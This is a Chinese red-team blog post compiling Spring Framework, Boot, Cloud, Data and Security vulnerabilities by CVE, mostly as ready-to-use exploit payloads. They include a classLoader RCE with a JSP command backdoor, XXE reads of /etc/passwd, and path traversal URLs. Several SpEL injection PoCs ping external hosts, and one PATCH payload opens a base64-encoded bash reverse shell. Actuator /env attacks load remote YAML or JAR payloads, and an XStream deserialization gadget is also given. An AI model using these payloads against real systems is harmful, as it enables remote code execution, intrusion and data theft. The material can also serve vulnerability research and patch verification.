• Spring 框架相关漏洞合集 | 红队技术


    本文作者:Misaki,文章来源:https://misakikata.github.io/

    虽说是 Spring 框架漏洞,但以下包含并不仅 Spring Framework,Spring Boot,还有 Spring Cloud,Spring Data,Spring Security 等。

    CVE-2010-1622 Spring Framework class.classLoader 类远程代码执行

     

    影响版本:SpringSource Spring Framework 3.0.0 - 3.0.2、SpringSource Spring Framework 2.5.0 - 2.5.7

    Spring 框架提供了一种机制,该机制使用客户端提供的数据来更新对象属性。这个机制允许攻击者修改用于加载对象的类加载器的属性(通过 'class.classloader')。这可能导致任意命令执行,例如,攻击者可以修改 URL。由类加载器用来指向攻击者控制的位置。

    示例:


    POST /adduser HTTP/1.0
    ...
    firstName = Tavis&lastName = Ormandy

     

    如果 Person 是表单的支持对象,则 firstName 和 lastName 属性将设置为相应的值。为了支持更复杂的类,Spring 还支持点表示法,因此 user.address.street = Disclosure + Str。将等效于:frmObj.getUser().getAddress().setStreet("Disclosure Str.") 

    问题是 Spring Beans 的 CachedIntrospectionResults 类枚举了可从用户表单提交中设置的属性,使用 java.beans.Introspector.getBeanInfo() 而不指定停止类,这意味着 'class' 属性及其后的所有内容均可用于HTTP请求中的设置。

    攻击:

    如果攻击者使用以下 HTTP 参数向表单控制器提交 HTTP 请求:


    POST /adduser HTTP/1.0
    ...
    class.classLoader.URLs[0] = jar:http://attacker/spring-exploit.jar!
     

    她将使用自己的网址覆盖 frmObj.getClass().getClassLoader().getURLs() 返回的数组中的第 0 个元素.

    它将是哪个类加载器?

    在 Apache Tomcat 上的情况下,它指 org.apache.catalina.loader.WebappClassLoader

    如何构造这个 jar,需要包含以下信息:


    - META-INF/spring-form.tld - 定义spring表单标签并指定实现为标签文件而不是类
    - META-INF/tags/中的标签文件,包含有标签定义(任意Java代码)

    /META-INF/spring-form.tld 文件:


    <!-- <form:input/> tag -->
    <tag-file>
    <name>input</name>
    <path>/META-INF/tags/InputTag.tag</path>
    </tag-file>

    /META-INF/tags/InputTag.tag


    <%@ tag dynamic-attributes="dynattrs" %>
    <%
    j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
    %>

    做出这样的替换后,当开发者在 controller 中将任何一个对象绑定表单,并且最终展示的 jsp 内容有下面这些:


    <%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
    <form:form commandName="user">
    <form:input path="name"/>
    </form:form>

    攻击者访问 url,即可触发远程代码执行的效果:

    http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:https://inbreak.net/spring-exploit.jar!/

    如果服务器大于 tomcat6.0.28 版本,这样做会把所有的 input 标签替换掉,导致不能正常显示。需要修改

    spring-form.tld,给其中的 inputtag 改名,name 改为 inputkxlzx:


    <tag>
    <name>inputkxlzx</name> //什么名字都行

    在文件中新加入一个 tag,叫做 input:

    <tag-file>    <name>input</name>    <path>/WEB-INF/tags/InputTag.tag</path>  </tag-file>

    InputTag.tag 的内容:


    <%@ tag dynamic-attributes="dynattrs" %>
    <%
    if (request.getParameter("kxlzxcmd")!=null)
    exec(request.getParameter("kxlzxcmd"));
    %>
    <form:inputkxlzx path="${dynattrs.path}"></form:inputkxlzx>

    访问的时候需要在参数中携带 kxlzxcmd

    /test.htm?name=kxlzx&kxlzxcmd=calc //包含input的页面
     

    http://blog.o0o.nu/2010/06/cve-2010-1622.html

    https://www.inbreak.net/archives/377

    CVE-2013-4152 Spring Framework 中的 XML 外部实体(XXE)注入

    影响版本:3.0.0 至 3.2.3、4.0.0.M1

    受影响版本容易受到 XML 外部实体(XXE)注入的攻击。该SourceHttpMessageConverter处理器不会禁用外部实体解析,这使远程攻击者可以读取任意文件。

    当传输 xml 结构体时,如

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <username>John</username>
    </xml>

    外部XML实体- xxe是使用系统标识符定义的,并存在于 DOCTYPE 标头中。这些实体可以访问本地或远程内容。例如,以下代码包含一个外部 XML 实体,该实体将获取的内容 /etc/passwd并将其显示给呈现给用户。

    ?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <username>&xxe;</username>
    </xml>

    其他 XXE 注入攻击可以访问可能无法停止返回数据的本地资源,这可能会影响应用程序可用性并导致拒绝服务。

    CVE-2013-7315 Spring Framework 中的 XML 外部实体

     

    影响版本:3.2.0至3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)

     

    由于对 CVE-2013-4152 和 CVE-2013-6429 的修复不完整导致。

     

    受影响版本容易受到 XML 外部实体(XXE)注入的攻击。该SourceHttpMessageConverter处理器不会禁用外部实体解析,这使远程攻击者可以读取任意文件。

     

    当传输 xml 结构体时,如

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <username>John</username>
    </xml>
     

    外部 XML 实体- xxe是使用系统标识符定义的,并存在于 DOCTYPE 标头中。这些实体可以访问本地或远程内容。例如,以下代码包含一个外部 XML 实体,该实体将获取的内容 /etc/passwd并将其显示给呈现给用户。

     

    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <username>&xxe;</username>
    </xml>
     

    其他 XXE 注入攻击可以访问可能无法停止返回数据的本地资源,这可能会影响应用程序可用性并导致拒绝服务。

     

    CVE-2014-3527 Spring Security 验证绕过漏洞

     

    影响版本:SpringSource Spring Security 3.1-3.2.4

     

    当使用从 Spring Security 3.1 到 3.2.4 的 CAS 代理票证身份验证时,恶意的 CAS 服务可能会欺骗另一个 CAS 服务来认证未关联的代理票证。这是由于以下事实:代理票证身份验证使用了来自 HttpServletRequest 的信息,该信息是根据 HTTP 请求中的不可信信息填充的。这意味着,如果存在 CAS 服务可以相互认证的访问控制限制,则可以绕过这些限制。如果用户未使用 CAS 代理票证,并且未基于 CAS 服务做出访问控制决策,则对用户没有影响。

     

    CVE-2014-0097 Spring Security 认证绕过

     

    影响版本:Spring Security 3.2.0 至 3.2.1 和 3.1.0 至 3.1.5

     

    ActiveDirectoryLdapAuthenticator不检查密码长度。如果目录允许匿名绑定,则它可能会错误地验证提供空密码的用户。

     

    CVE-2014-3578 Spring Framework 目录遍历漏洞

     

    影响版本:Spring Framework: 3.0.4 to 3.2.11 , 4.0.0 to 4.0.7, 4.1.0 to 4.1.1

     

    在 web.xml 存在如下情况下存在目录遍历:

    <mvc:resources mapping="/css/**" location="file:webapps/springapp/WEB-INF/classes/theme/css/" />

     

    访问:

    GET /springapp/css/file:/etc/passwd

     

    CVE-2016-2173 Spring AMQP 中的远程代码执行

     

    影响版本:1.0.0至1.5.4

     

    https://github.com/HaToan/CVE-2016-2173

     

    使用方式:

     

    ysoserial-0.0.4-all.jar create payload write and execute a shell

    java -jar ysoserial-0.0.4-all.jar 'library_vul' 'command'

    exploit-cve2016-2173.jar : send to App vul

    java -jar exploit-cve2016-2173.jar

     

    本来想根据配置来搭一个环境处理,结果环境一直搭不起来,构建各种失败,就先放这个利用 poc 吧。

     

    CVE-2016-4977 SpringSecurityOauth 远程命令执行漏洞

     

    影响版本:2.0.0-2.0.9、1.0.0-1.0.5

     

    https://www.seebug.org/vuldb/ssvid-92474

     

    漏洞利用POC:

    http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}

    图片

     

     

    执行命令:

    http://207.246.79.196:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${T(java.lang.Runtime).getRuntime().exec(%22ping%20xxx.ceye.io%22)}

     

    图片

     

    但是此命令执行,不会在页面上显示,只会打印出运行的对象。

     

    如果要执行反弹 shell 等命令,由于页面 HTML 编码的原因,SPEL 返回值时进行了一次 html 编码,所以导致取出的 值时会进行一次转义,利用如下脚本加工。

     

    #coding:utf-8

    message = input('Enter message to encode:')

     

    print('Decoded string (in ASCII):\n')

     

    print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")

    for ch in message[1:]:

       print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),

    print('\n')

     

    print('new java.lang.String(new byte[]{', end=""),

    print(ord(message[0]), end="")

    for ch in message[1:]:

       print(',%s' % ord(ch), end=""),

    print(')}')

     

    执行输出后再添加:

    T(java.lang.Runtime).getRuntime().exec(payload)

     

    CNVD-2016-04742 Spring Boot 框架 SPEL 表达式注入漏洞

     

    影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

     

    https://www.cnblogs.com/litlife/p/10183137.html

     

    下载存在漏洞的版本1.3.0:

     

    https://github.com/spring-projects/spring-boot/archive/v1.3.0.RELEASE.zip

     

    POC:

    /?payload=${new%20java.lang.String(new%20byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})}

     

    结果:

    FBB204A4061FFBD41284A84C258C1BFB 返回结果是 md5(wooyun)

     

     

    CVE-2016-6652 Spring Data JPA SQL 盲注

     

    影响版本:Spring Data JPA 1.10.2、1.9.4

     

    https://www.seebug.org/vuldb/ssvid-92534

     

    CVE-2017-4971 Spring WebFlow 远程代码执行漏洞

     

    影响版本:Spring Web Flow 2.4.0 to 2.4.4

     

    使用vulhub搭建环境后,在添加poc执行

     

    &_(new+java.lang.ProcessBuilder("ping","xxx.ceye.io")).start()=vulhub

    图片

    ​​

    图片


     

    无害化 payload 检测,如果 response header 中出现 vulnerable 头,则有漏洞:

     

    &_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty

    图片

     

    CVE-2017-8045 Spring Amqp中的远程代码执行

     

    影响版本:1.7.4、1.6.11和1.5.7之前的Spring AMQP版本

     

    https://xz.aliyun.com/t/36

     

    CVE-2017-8046 Spring Data REST PATCH请求远程执行代码

     

    影响版本:Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本、Spring Data release trains Kay-RC3之前的版本、Spring Boot 2.0.0M4之前的版本

     

    https://www.cnblogs.com/co10rway/p/9380441.html

     

    利用POC执行:

    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String('ping xxx.ceye.io'))/lastname", "value": "vulhub" }]
     

    反弹shell,其中反弹shell命令需要借助编码来减少重定向出错的问题java.lang.Runtime.exec() Payload Workarounds:

    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54Lzg4OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'))/lastname", "value": "vulhub" }]

    图片

     

    图片

     

     

    CVE-2018-1258 Spring Security未经授权的访问

     

    影响版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)

     

    暂无详细信息

     

    CVE-2018-1259 具有XMLBeam的Spring DataXXE

     

    影响版本:

     

    XMLBeam 1.4.14或更早版本结合使用的Spring Data Commons Spring Data Commons 1.13至1.13.11(Ingalls SR11)Spring Data REST 2.6至2.6.11(Ingalls SR11) Spring Data Commons 2.0至2.0.6(Kay SR6) Spring Data REST 3.0至3.0.6(Kay SR6)

     

    http://www.polaris-lab.com/index.php/tag/CVE-2018-1259/

     

    https://xz.aliyun.com/t/2341

     

    CVE-2018-1270 Spring Messaging远程代码执行漏洞

     

    影响版本:Spring Framework 5.0 to 5.0.4。Spring Framework 4.3 to 4.3.14

     

    同样利用 vulhub 搭建环境,首先我们先拦截 connect,查看通过的 ws 包,点击后会有这么一个请求

     

    ws://x.x.x.x:8080/gs-guide-websocket/845/beqcexeb/websocket

    图片

    从 bp 中看到来回四个包,其中的内容为如上所示,修改如下请求包

    图片

    在发送任意消息,即可触发

    图片

    或者尝试使用 vulhub 提供的脚本,但是此脚本并不具备通用性,需要修改使用poc

     

    CVE-2018-1271 Spring MVC 目录穿越漏洞

     

    当 Spring MVC 的静态资源存放在 Windows 系统上时,攻击可以通过构造特殊 URL 导致目录遍历漏洞。

     

    此漏洞触发条件较高:

    Server 运行于 Windows 系统上
    从文件系统提供的文件服务(比如使用 file 协议,但不是 file open)
    没有使用 CVE-2018-1199 漏洞的补丁
    不使用 Tomcat 或者是 WildFly 做 Server

     

     

    漏洞利用和复现:

    https://blog.knownsec.com/2018/08/spring-mvc-%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E6%BC%8F%E6%B4%9Ecve-2018-1271%E5%88%86%E6%9E%90/

     

    CVE-2018-1273 Spring Expression Language SPEL表达式注入漏洞

    影响版本:

     

    Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)

     

    https://www.cnblogs.com/hac425/p/9656747.html

     

    图片

     

    POC:

    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=xxxusername[T(java.lang.Runtime).getRuntime().exec("ping+xxx.ceye.io")]=test

     

    CVE-2018-1260 Spring Security Oauth2 远程代码执行

     

    影响版本:

    Spring Security OAuth 2.3 to 2.3.2

    Spring Security OAuth 2.2 to 2.2.1

    Spring Security OAuth 2.1 to 2.1.1

    Spring Security OAuth 2.0 to 2.0.14

    https://www.seebug.org/vuldb/ssvid-97287

     

    此漏洞和CVE-2016-4977类似

     

    POC:

     

    http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22ping%20r9rub4.ceye.io%22%29%7D

    CVE-2018-15758 spring-security-oauth2权限提升

     

    影响版本:

    Spring Security OAuth 2.3至2.3.3

    Spring Security OAuth 2.2至2.2.2

    Spring Security OAuth 2.1至2.1.2

    Spring Security OAuth 2.0到2.0.15

     

    使用了EnableResourceServer并且用了AuthorizationRequest的话。那么攻击者可以重新发送一次用过的验证请求,或者进行相应参数修改,从而造成权限提升。

     

    例如劫持code,并且篡改其中的scope到all的话:

    http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://127.0.0.1&scope=openid

    图片

     

    即授权了读取权限的时候,修改为all就可以获得全部权限。

     

    CVE-2019-3799 Spring Cloud Config Server: 目录遍历

     

    影响版本:Spring-Cloud-Config-Server < 2.1.2, 2.0.4, 1.4.6

     

    下载受影响的版本构建:https://github.com/spring-cloud/spring-cloud-config

     

    cd spring-cloud-config-server                                                                   ../mvnw spring-boot:run

    构建成功后访问:

     

    http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd

     

    其中路径代表:/{name}/{profile}/{label}/,如下中所显示的json。

     

    图片

     

    CVE-2019-3778 Spring Security OAuth 开放重定向

     

    影响版本:

    Spring Security OAuth 2.3 to 2.3.4 Spring Security OAuth 2.2 to 2.2.3 Spring Security OAuth 2.1 to 2.1.3 Spring Security OAuth 2.0 to 2.0.16

    https://medium.com/@riemannbernhardj/investigating-spring-security-oauth2-cve-2019-3778-and-cve-2019-11269-a-p-o-c-attack-44895f2a5e70

     

    用户登录后,CLIENT APP 执行的以下请求包含 REDIRECT_URI 参数。只需添加一个百分号即可触发重定向,而不是通过 RedirectMismatchException 错误来绕过验证。

     

    例如原始请求如下:

    /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login

     

    只需要修改为:

    /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:8086/login

     

    这样就不会产生原本的认证错误,而且直接跳转到地址

     

    Location: http://localhost:8086/login

     

    CNVD-2019-11630 Spring Boot Actuator 命令执行漏洞

     

    https://www.veracode.com/blog/research/exploiting-spring-boot-actuators#

     

    这个漏洞并不像是单一的问题产生,更像是一个渗透入侵的过程。有很多值得在意的知识点

     

    1、Spring Boot 1-1.4,无需身份验证即可访问以下敏感路径,而在 2.x 中,存在于 /actuator 路径下。

     

    /dump-显示线程转储(包括堆栈跟踪)
    /trace-显示最后几条HTTP消息(其中可能包含会话标识符)
    /logfile-输出日志文件的内容
    /shutdown-关闭应用程序
    /mappings-显示所有MVC控制器映射
    /env-提供对配置环境的访问
    /restart-重新启动应用程序
     

    2、jolokia 进行远程代码执行,Jolokia 允许通过 HTTP 访问所有已注册的 MBean,并且旨在执行与 JMX 相同的操作。可以使用 URL 列出所有可用的 MBeans 操作:

     

    http://127.0.0.1:8090/jolokia/list

     

    Logback 库提供的 reloadByURL 操作使我们可以从外部 URL 重新加载日志配置,地址如:

     

    http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

     

    logback.xml:

    <configuration>
    <insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
    </configuration>

     

    reloadByURL 功能从 http://artsploit.com/logback.xml 下载新配置,并将其解析为 Logback 配置。这就导致两个问题:XXE 盲攻击、恶意 LDAP 服务器解析引用导致 RCE。

     

    3、通过 /env 来修改配置

     

    如果 Spring Cloud Libraries 在类路径中,则’/env’端点允许您修改 Spring 环境属性。

    POST /env HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 65

    eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

     

    此属性将 Eureka serviceURL 修改为任意值。Eureka Server 通常用作发现服务器,目标类路径中具有 Eureka-Client <1.8.7,则可以利用其中的 XStream 反序列化漏洞。

     

     

    其中 xstream 的内容类似如下:

     

    <linked-hash-set>

      <jdk.nashorn.internal.objects.NativeString>

        <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

          <dataHandler>

            <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

              <is class="javax.crypto.CipherInputStream">

                <cipher class="javax.crypto.NullCipher">

                  <serviceIterator class="javax.imageio.spi.FilterIterator">

                    <iter class="javax.imageio.spi.FilterIterator">

                      <iter class="java.util.Collections$EmptyIterator"/>

                      <next class="java.lang.ProcessBuilder">

                        <command>

                          <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>

                        </command>

                        <redirectErrorStream>false</redirectErrorStream>

                      </next>

                    </iter>

                    <filter class="javax.imageio.ImageIO$ContainsFilter">

                      <method>

                        <class>java.lang.ProcessBuilder</class>

                        <name>start</name>

                        <parameter-types/>

                      </method>

                      <name>foo</name>

                    </filter>

                    <next class="string">foo</next>

                  </serviceIterator>

                  <lock/>

                </cipher>

                <input class="java.lang.ProcessBuilder$NullInputStream"/>

                <ibuffer></ibuffer>

              </is>

            </dataSource>

          </dataHandler>

        </value>

      </jdk.nashorn.internal.objects.NativeString>

    </linked-hash-set>

     

    然后调用 /refresh 端点。

     

    4、有一种通过 Spring 环境属性修改来实现 RCE 的更可靠方法:

    POST /env HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 59
    spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

     

    该请求修改了“ spring.cloud.bootstrap.location”属性,该属性用于加载外部配置并以YAML格式解析它。为了做到这一点,我们还需要调用“/refresh”端点。

    POST /refresh HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0

     

    从远程服务器获取 YAML 配置时,将使用 SnakeYAML 库进行解析,该库也容易受到反序列化攻击。有效载荷(yaml-payload.yml)可以通过使用前述的 Marshalsec 研究生成:

    !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://artsploit.com/yaml-payload.jar"] ]]]

     

    该 jar 文件的反序列化将触发提供的 URLClassLoader 的 ScriptEngineManager 构造函数的执行。jar 文件可以在如下地址找到:

     

    https://github.com/artsploit/yaml-payload

     

    5、/env 配置

     

    除了关于执行 RCE 的地方,还有一些设置也很有用。

     

    spring.datasource.tomcat.validationQuery = drop + table + users-允许您指定任何 SQL 查询,它将针对当前数据库自动执行。它可以是任何语句,包括插入,更新或删除。

     

    spring.datasource.tomcat.url = jdbc:hsqldb:https://localhost:3002/xdb

     

    允许您修改当前的JDBC连接字符串。

     

    这种设置只在 1.x 中,在 Spring Boot 2.x 中,改为了 json 格式。

     

    CVE-2019-11269 Spring Security OAuth 开放重定向

     

    此漏洞为 CVE-2019-3778的延伸版本,效果一致

     

    影响版本:Spring Security OAuth 2.3至2.3.5Spring Security OAuth 2.2至2.2.4Spring Security OAuth 2.1至2.1.4Spring Security OAUth 2.0至2.0.17

     

    CVE-2020-5398 Spring Framework RFD漏洞

     

    影响版本:Spring Framework, versions 5.2.0 to 5.2.3, 5.1.0 to 5.1.13, 5.0.0 to 5.0.16

     

    触发此漏洞的要求可以控制content-disposition文件名和扩展名来下载文件。触发的类型有些类似钓鱼文件。

     

    <a href=”https://<trusted-server>.com/api/users/<attacker_id>.cmd" download>Click me, Im a dolphin</a>

    先准备一个受控制的配置文件等,上传到受信的服务器中,虽然对服务器不造成影响。但是可以在其中注入一些payload。

     

    由于下载的文件名是受前端控制,发送filename的时候可以自己构造文件名下载。

     

    spring对不能识别的文件下载的时候按照json格式来处理,但是url仍然可以使用。

     

    当受害者点击如上的地址时,会下载一个.cmd执行文件。原来spring对这种问题的处理是添加后缀为txt来改变文件的可执行效果。

     

    但是这个设置可以绕过,采用如下形式:

     

    filename:secure_install.cmd";

    会在表头中闭合造成如下效果:

     

    Content-Disposition: attachment; filename="secure_install.cmd";.txt"

    从而达到绕过限制来下载预先设定好的可执行文件等。

     

    CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露

     

    影响版本:spring-cloud-config-server < 2.2.2

     

    https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/65bbd0ec4f2fd012318f7d91548ba1f338d5e064/Spring%20Cloud/CVE-2020-5405%20Spring%20Cloud%20Config%20%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A/README.md

     

    poc:

    利用点1:

    curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx

     

    读取 /User/xuanyonghao/tmp/aaa.xxx 文件

    foo 对应 {application}
    profiles 对应 {profiles}
    %252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp 对应 {label}

     

    todo 条件限制:

     

    todo 1. 文件必须有后缀,也就是 .txt 等等。

     

    todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此处的目录需要有{application}或{profiles}或{label},因为在上述触发点会对url对应段进行替换进来location,导致目录穿越,但是会限制文件后缀

     

    利用点2:

    org.springframework.cloud.config.server.resource.ResourceController#resolveLabel(java.lang.String)

     

    利用此处把label处的(_)替换为 /

    curl http://127.0.0.1:9988/foo/profiles/..%28_%29Users%28_%29xuanyonghao%28_%29tmp/aaa.xxx

     

    todo 条件限制:

    todo 1. 文件必须有后缀,也就是.txt等等。

    todo 2. 不像利用点1处,不需要配置{application}{profiles}{label}

     
  • 相关阅读:
    Redis 3 主 3 从(helm安装)
    Dokcer 部署 3 节点 MinIO 集群
    自动清理 Naxus mavensnapshots 仓库 jar 包
    React 16.8 方法是通过改变父组件传给子组件的值会使子组件重新render触发子组件的useEffect事件
    pgsql升级
    实验一密码引擎加密API研究
    数据转换16进制字符
    实验一密码引擎商用密码算法实现1
    工具
    vue3+ts 不支持多个驼峰写法?代码严谨规则的设置 在哪里解除?
  • 原文地址:https://www.cnblogs.com/Xor0ne/p/15744520.html
Copyright © 2020-2023  润新知